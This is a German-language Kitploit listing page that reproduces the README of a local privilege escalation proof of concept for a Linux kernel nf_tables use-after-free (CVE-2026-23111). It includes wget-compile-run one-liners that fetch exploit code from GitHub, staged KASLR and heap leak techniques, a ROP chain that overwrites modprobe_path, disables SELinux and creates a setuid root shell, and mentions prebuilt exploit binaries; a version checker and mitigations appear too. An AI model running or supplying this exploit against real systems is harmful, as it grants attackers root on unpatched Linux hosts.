Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-23111 — Linux-Kernel nf_tables Use-After-Free (CVE-2026-23111) — LPE-PoC | Kitploit
Tools/GitHubGitHub/baba01hacker666/cve-2026-23111
Privilege EscalationSpeicherforensikSchwachstellenanalyseExploitationReverse EngineeringPapers & ForschungLernen & BildungBinary-Exploitation
GitHubbaba01hacker666/cve-2026-23111

CVE-2026-23111

Linux-Kernel nf_tables Use-After-Free (CVE-2026-23111) — LPE-PoC

Repository anzeigen
72vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-23111 PoC

Linux Kernel nf_tables Use-After-Free (Lokale Privilegienerweiterung) poc von baba01hacker

Zusammenfassung der Schwachstelle

  • CVE: CVE-2026-23111
  • Typ: Use-After-Free (CWE-416)
  • CVSS: 7.8 (HOCH)
  • Komponente: net/netfilter/nf_tables_api.c — nft_map_catchall_activate()
  • Ursache: Umgekehrte Genmask-Prüfung führt zu einem Verlust des Chain-Referenzzählers während des Transaktionsabbruchs

Betroffene Kernel-Versionen

VersionsbereichBehoben in
6.19-rc1 bis 6.19-rc86.19-rc9+
6.13 bis 6.18.96.18.10
6.7 bis 6.12.696.12.70
6.4.1 bis 6.5.xEOL (kein stabiler Fix)
6.3.10 bis 6.3.xEOL
6.0.x, 6.2.xEOL
6.1.36 bis 6.1.1626.1.163
5.15.121 bis 5.15.1995.15.200
5.10.188+, 5.4.262+, 4.19.316+Verschiedene LTS

Details zur Schwachstelle

CVE-2026-23111 ist ein nf_tables Use-After-Free, verursacht durch eine umgekehrte Generation-Mask-Prüfung in nft_map_catchall_activate(). Während des Rollbacks einer fehlgeschlagenen Transaktion müssen Catchall-Verdict-Map-Elemente, die durch NFT_MSG_DELSET deaktiviert wurden, reaktiviert werden, sodass Referenzen wie NFT_GOTO-Chain-Referenzen wiederhergestellt werden. Der Catchall-Aktivierungspfad übersprang stattdessen inaktive Elemente und verarbeitete aktive, sodass deaktivierte Catchall-Elemente nicht wiederhergestellt wurden.

Die korrekte Nicht-Catchall-Aktivierungslogik ist:

root@kitploit:~
if (nft_set_elem_active(ext, iter->genmask))
    return 0; /* skip active, process inactive */

Der anfällige Catchall-Pfad verwendete die entgegengesetzte Bedingung:

root@kitploit:~
if (!nft_set_elem_active(ext, genmask))
    continue; /* skip inactive, process active */

Wenn eine gelöschte Pipapo-Verdict-Map zurückgesetzt wird, verhindert dies, dass nft_setelem_data_activate() für das inaktive Catchall-Element ausgeführt wird. Für NFT_JUMP/NFT_GOTO-Verdict-Daten wird die von nft_data_hold() übernommene Chain-Referenz daher nicht wiederhergestellt. Wiederholen der Abbruch-/Umschalt-/Lösch-Sequenz kann chain->use auf Null bringen, während eine andere Regel noch eine gültige Verdict-Referenz auf die Chain enthält. Ein späteres DELCHAIN kann dann die Chain freigeben, während sie noch erreichbar ist, was zu einer UAF führt.

Auslöse-Ablauf

root@kitploit:~
Create table, base chain, victim chain, and pipapo verdict map with catchall NFT_GOTO -> victim
        |
Batch 1: delete the pipapo set, then force a transaction error
        |
Abort path calls nft_map_catchall_activate(), but the inverted check skips the inactive catchall
        |
The catchall remains inactive and the victim chain reference count is not restored
        |
Batch 2: commit a benign transaction to toggle the generation cursor
        |
Batch 3: delete the pipapo set successfully, decrementing the victim chain reference again
        |
Batch 4: delete the victim chain while the base-chain verdict still references it
        |
Use-after-free when packet evaluation or rule dumping follows the dangling verdict reference

Der Upstream-Fix besteht darin, die Negierung zu entfernen, sodass nft_map_catchall_activate() zu nft_mapelem_activate() passt: Aktive Elemente werden übersprungen, inaktive werden reaktiviert, und Verdict-/Objekt-Referenzen werden während der Abbruchbehandlung wiederhergestellt.

Test Only

root@kitploit:~
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json

Run PoC One-Liner

root@kitploit:~
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d

v2 Fallback One-Liner

Use this if the full/v1 PoC fails on the target kernel.

root@kitploit:~
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d

Local Build

Installieren Sie zuerst die Build-Abhängigkeiten, wenn der Compiler die Header libmnl/libmnl.h oder libnftnl nicht findet:

root@kitploit:~
scripts/install-build-deps.sh
# or
make deps
root@kitploit:~
make          # Build exploit (PoC only)
make v2       # Build v2 exploit (FuzzingLabs approach — try when v1 fails)
make full     # Build full LPE exploit
make v3       # Build v3 calibrated eval-path variant
make run-d    # Run PoC with debug output
make run-v2-d # Run v2 with debug output
make run-v3   # Show v3 usage/help
make run-full # Run full LPE

Exploit-Stufen

Phase 1: UAF-Trigger ✅ FUNKTIONIERT

Erstellt ein Pipapo-Map-Set mit einem Catchall-Element (goto Victim-Chain) und nutzt dann den umgekehrten Genmask-Fehler während eines DELSET-Abbruchs, um chain->use zu korrumpieren. Nach dem Erhöhen des Generierungszählers gelingt DELCHAIN trotz hängender Referenzen und gibt die Chain frei.

Phase 2: KASLR-Leak ✅ FUNKTIONIERT

Nach der UAF wird der Speicher von chain->name freigegeben. Wir sprayen seq_operations-Strukturen (32 Bytes), indem wir /proc/self/stat öffnen, um den freigegebenen Slab-Cache-Slot zurückzuerobern. Das Zurücklesen der unmittelbaren Verdict-Regel der Basis-Chain über NFT_MSG_GETRULE gibt den zurückgewonnenen Chain-Namen aus und leakt Kernel-Funktionszeiger. Die Zeiger-Validierung stellt sicher, dass nur kanonische Kernel-Textadressen akzeptiert werden.

Phase 3: Heap-Adress-Leak ✅ FUNKTIONIERT

Löst die UAF erneut mit einem längeren Chain-Namen aus (140 Bytes → kmalloc-cg-192), sprayt dann nft_rule-Objekte, um den Speicher zurückzuerobern. Die geleakten list_head-Zeiger geben Heap-Adressen im Direct-Map-Bereich preis.

Phase 4: Kontrollfluss-Hijack & ROP 🔧 Framework vollständig

  • Zwei 192-Byte-Regeln mit kontrollierten Daten werden für gefälschte nft_expr_ops und nft_rule_blob gesprayt
  • Heap-Adressen aus Phase 3 werden verwendet, um gefälschte Blob → gefälschte expr_ops-Zeiger zu verketten
  • 128-Byte-Table-Userdata-Spray, um das freigegebene blob_gen_0 der Chain zu überschreiben
  • ROP-Kette: commit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq
  • ROP-Gadgets werden automatisch aus /proc/kcore gescannt
  • Ein Paket wird durch die Basis-Chain gesendet, um expr->ops->eval zu übernehmen

v2 Exploit (FuzzingLabs-Ansatz)

Der v2-Exploit (exploit_v2.c) verwendet die im FuzzingLabs-Writeup beschriebenen Techniken und kann verwendet werden, wenn der v1-PoC fehlschlägt. Wichtige Unterschiede:

v2 Leak-Kette (init_ipc_ns beliebiges Lesen)

root@kitploit:~
init_ipc_ns + 0x118  →  msg_ids.xa_head  →  msg_queue (tagged pointer)
msg_queue + 0xc0     →  q_messages.next  →  msg_msg heap address

Jeder Schritt verwendet die freigegebene Chain-Struktur als beliebiges-Lesen-Primitiv: Table-Userdata (128 Bytes) erobert die freigegebene nft_chain in kmalloc-cg-128 zurück, und eine Kernel-Adresse, die bei Offset 0x40 (wo chain->name lebt) platziert wird, wird vom Kernel während der SET_B-Element-Dumps dereferenziert.

v3 Heap-Kalibrierung und ROP-Kette (modprobe_path)

Die v3-Heap-Stufe ist offset-vorhergesagt und kein wirklich binärsicheres beliebiges-Lesen-via-Eval-Primitiv. Kalibrieren Sie das Ziel, bevor Sie das finale Spray ausführen:

root@kitploit:~
grep msg_msg /proc/slabinfo
# Cross-reference with kmalloc-cg-2048 object density, then run with:
./exploit_v3 --msg-msg-addr 0xffff...
# or, when the value is known relative to the leaked kernel base:
./exploit_v3 --msg-msg-delta 0x...

Überprüfen Sie die nftables-Struktur-Offsets gegen den exakten Kernel-Build:

root@kitploit:~
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)

Das Gadget-Scannen verwendet /proc/kcore; falls es eingeschränkt ist, extrahieren Sie Gadgets offline aus vmlinux und hardco-den Adressen relativ zur geleakten Kernel-Basis. Der v3-Paket-Eval-Pfad verwendet push rdi; pop rsp, weil rdi = expr; dies unterscheidet sich vom v2-Validate-Pfad, wo rsi = expr.

root@kitploit:~
push rdi; pop rsp; pop rbp; ret           ← stack pivot (rdi = expr)
pop rdi; ret → &modprobe_path              \
pop rax; ret → "/tmp/pe\0"                 │ write modprobe_path
mov [rdi], rax; ret                        /
pop rdi; ret → &selinux_state             \
xor eax, eax; ret                          │ disable SELinux
mov [rdi], eax; ret                        /
pop rdi; ret → 10000                       \
msleep                                      │ keep kernel alive

Das Skript /tmp/pe wird als root ausgeführt, wenn der Kernel modprobe_path aufruft, nachdem er auf ein unbekanntes Binärformat gestoßen ist. Es erstellt eine setuid-root-Shell unter /tmp/rootbash.

Wann v2 vs. v1 verwendet werden sollte

  • v1 scheitert beim KASLR-Leak: v2 verwendet NFT_MSG_GETELEM (anderer Kernel-Codepfad) anstelle von NFT_MSG_GETRULE
  • v1 scheitert beim Heap-Leak: v2 verwendet die globale Variable init_ipc_ns, um Kernel-Datenstrukturen zu durchlaufen, anstatt nft_rule-Objekte zu sprayen
  • v1 scheitert beim Hijack: v2 verwendet msg_msg-2k (großer, stabiler Puffer) anstelle von nft_rules + Table-Userdata für die ROP-Nutzlast
  • v1 scheitert bei der Privilegienerweiterung: v2 verwendet modprobe_path (funktioniert ohne swapgs/iretq) anstelle von commit_creds + Namespace-Wechsel
  • Kernel hat SLAB_RANDOM/Härtung: Die v2-init_ipc_ns-Kette zielt auf eine stabile globale Variable ab, was das Heap-Layout weniger kritisch macht

Technische Details

Der Fehler

In nft_map_catchall_activate() (net/netfilter/nf_tables_api.c):

root@kitploit:~
list_for_each_entry(catchall, &set->catchall_list, list) {
    ext = nft_set_elem_ext(set, catchall->elem);
    if (!nft_set_elem_active(ext, genmask))  // BUG: should be without '!'
        continue;
    nft_clear(ctx->net, ext);
    nft_setelem_data_activate(ctx->net, set, catchall->elem);
    break;
}

Das ! bewirkt, dass die Funktion INACTIVE-Elemente überspringt, anstatt sie zu verarbeiten. Während des Transaktionsabbruchs wird das Catchall-Element (das gerade durch DELSET deaktiviert wurde) übersprungen, sodass nft_data_hold() nie aufgerufen wird, um den Chain-Referenzzähler wiederherzustellen.

Exploit-Mechanismus

  1. Erstelle Pipapo-Map-Set mit Catchall-Element → goto Victim-Chain
  2. Batch A: DELSET + ungültige Operation → Abbruch → chain->use bleibt bei 0
  3. Batch B: Gültige Transaktion → Genid erhöhen
  4. Batch C: DELSET → erfolgreich
  5. Batch D: DELCHAIN → Chain freigegeben (chain->use == 0, aber hängende Referenz existiert)
  6. Das Catchall-Element des Sets referenziert immer noch den freigegebenen Chain-Namen → Spray + Rücklesen

Dateien

root@kitploit:~
├── CVE-2026-23111-checker.py   Vulnerability detection script (--detailed, --json)
├── exploit.c                   PoC exploit (UAF + KASLR leak + heap leak)
├── exploit_v2.c                v2 exploit (FuzzingLabs approach — try when v1 fails)
├── exploit_full.c              Full LPE exploit (UAF + leaks + ROP chain)
├── exploit_full_aarch64        Pre-built aarch64 binary (static)
├── exploit_full.b64            Base64-encoded full exploit binary
├── Makefile                    Build configuration
└── README.md                   This file

Build-Voraussetzungen

root@kitploit:~
apt-get install -y libmnl-dev libnftnl-dev gcc make python3

Cross-Kompilierung (aarch64)

root@kitploit:~
apt-get install -y gcc-aarch64-linux-gnu
make aarch64

Debug-Build (mit AddressSanitizer)

root@kitploit:~
make debug          # PoC with ASan
make debug-full     # Full exploit with ASan

Checker-Skript

Der Checker führt mehrere Erkennungsmethoden durch:

  • Versionsabgleich: Prüft Kernelversion gegen alle bekannten anfälligen Bereiche (einschließlich rc-Kernel)
  • Modulerkennung: Prüft, ob das Kernelmodul nf_tables geladen ist
  • Kernel-Konfiguration: Liest CONFIG_NF_TABLES aus /proc/config.gz oder /boot/config-*
  • Symbolprüfung: Sucht nach nft_map_catchall_activate in /proc/kallsyms
  • Namespace-Einstellungen: Prüft den Sysctl-Wert kernel.unprivileged_userns_clone
  • Risikobewertung: Kombiniert alle Indikatoren zu einem Risikoscore von 0-6
root@kitploit:~
python3 CVE-2026-23111-checker.py --detailed   # Human-readable with mitigations
python3 CVE-2026-23111-checker.py --json        # Machine-readable JSON

Fehlerbehebung

Referenzen

  • FuzzingLabs - Reproducing CVE-2026-23111
  • Exodus Intel Blog - Detailed Analysis
  • NVD Entry
  • Kernel Patch 1
  • Kernel Patch 2

Abhilfe

  1. Kernel auf gepatchte Version aktualisieren (6.18.10+, 6.12.70+, 6.6.124+, etc.)
  2. Unprivilegierte Benutzer-Namespaces deaktivieren: sysctl kernel.unprivileged_userns_clone=0
  3. Modul nf_tables blacklisten, falls nicht benötigt:
    root@kitploit:~
    echo 'install nf_tables /bin/true' >> /etc/modprobe.d/nf_tables.conf
    
Tool herunterladen
Komponentev1 (exploit.c)v2 (exploit_v2.c)
UAF-TriggerEin Set + sofortige goto-RegelZwei Sets (FuzzingLabs-Stil) + Lookup-Regel
KASLR-RücklesenNFT_MSG_GETRULE (Regel-Dump)NFT_MSG_GETELEM (Element-Dump) + GETRULE-Fallback
Heap-Leaknft_rule-Spray + list_head-Leakinit_ipc_ns-beliebiges-Lesen-Kette
ROP-Hostnft_regeln + Table-Userdatamsg_msg-2k (2048-Byte-Nachricht)
Hijack-TriggerPaket-Evaluierung auf sofortiger gotoPaket-Evaluierung auf überlebendem Set-Catchall
Privilegienerweiterungcommit_creds + switch_task_namespacesmodprobe_path-Überschreiben + SELinux deaktivieren
Rückgabepfadswapgs; iretqmsleep() (bleibt im Kernel)
ProblemLösung
mnl_socket_open: No such file or directoryStellen Sie sicher, dass das Modul nf_tables geladen ist: modprobe nf_tables
unshare: Operation not permittedErfordert unprivilegierte Benutzer-Namespaces. Prüfen Sie kernel.unprivileged_userns_clone=1
Batch A did NOT abortKernel könnte gepatcht sein oder das Genmask-Verhalten unterscheidet sich
No kernel pointer leakedKASLR-Härtung oder SLAB_RANDOM könnte aktiv sein; versuchen Sie mehrere Durchläufe
No heap pointer foundHeap-Spray-Kollisionsrate ist probabilistisch; wiederholen Sie den Vorgang oder erhöhen Sie die Spray-Anzahl
Kompilierung: nf_tables.h: No such fileInstallieren Sie Kernel-Header: apt install linux-headers-$(uname -r)
Link-Fehler: undefined reference to mnl_*Link-Reihenfolge beachten: -lnftnl -lmnl (nftnl vor mnl)